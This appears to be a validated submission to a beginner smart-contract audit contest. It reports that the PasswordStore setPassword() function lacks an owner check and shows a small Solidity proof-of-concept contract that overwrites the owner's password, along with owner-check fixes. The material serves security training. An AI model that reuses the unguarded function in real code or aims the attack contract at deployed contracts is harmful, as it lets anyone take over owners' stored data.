First Flight #1: PasswordStore
First Flight #1
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

notTheOwner can set a new passaword

kiteweb3

Summary

The PasswordStore::setPassword() function can be invoked by any user, not just the owner, allowing them to set a new password in the system. This means that any user has the ability to change the owner's password within the system. As a consequence, the owner loses the password saved in the system.

Vulnerability Details

function setPassword(string memory newPassword) external {
@> s_password = newPassword;
emit SetNetPassword();
}

Impact

Actors

  • Attacker: The attacker can be anyone.

  • Victim: The owner of the system.

Working Test Case

Using Remix:

  • deploy the PasswordStore contract and the AttackContract (before replace the targetContract with your PasswordStore contract deployment address)

  • call the callTargetFunction(string memory _password) on the AttackContract and set a new password

  • call the getPassword() on the PasswordStore to see that the password is changed.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.18;
​
// Interface for the PasswordStore contract
interface IContract {
// Function to set a new password in the PasswordStore contract
function setPassword(string memory newPassword) external;
}
​
//Contract to attack the PasswordStore contract
contract AttackContract {
​
// The deployed address of PasswordStore contract (tested on Sepolia network)
// Replace the following address with the actual deployment address of your PasswordStore contract
address private targetContract = 0xF9d459e6BBA01ee4fF6a68aA9F0284aEdf0C8047;
//Instance of the PasswordStore contract
IContract private targetContractInstance = IContract(targetContract);
​
// Function to set a new password in the PasswordStore contract, replacing any existing password (if set)
function callTargetFunction(string memory _password) public {
targetContractInstance.setPassword(_password);
}
}

Tools Used

Manual review

Recommendations

Evaluating to:

  • add an if statement in the PasswordStore::setPassword() function that reverts in case it isn't called by the owner

function setPassword(string memory newPassword) external {
+ if (msg.sender != s_owner) {
+ revert PasswordStore__NotOwner();
+ }
s_password = newPassword;
emit SetNetPassword();
}

or:

  • add an onlyOwner modifier in the contract PasswordStore and delete the if conditions in the PassworStore_getPassword() function:

​
+ modifier onlyOwner()
+ {
+ if (msg.sender != s_owner) {
+ revert PasswordStore__NotOwner();
+ }
+ _;
+ }
​
+ function setPassword(string memory newPassword) external onlyOwner {
- function setPassword(string memory newPassword) external {
s_password = newPassword;
emit SetNetPassword();
}
​
+ function getPassword() external view onlyOwner returns (string memory) {
- function getPassword() external view returns (string memory) {
- if (msg.sender != s_owner) {
- revert PasswordStore__NotOwner();
- }
return s_password;
}
Updates

Lead Judging Commences

inallhonesty Lead Judge
about 2 years ago
inallhonesty Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-lacking-access-control

Anyone can call `setPassword` and set a new password contrary to the intended purpose.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.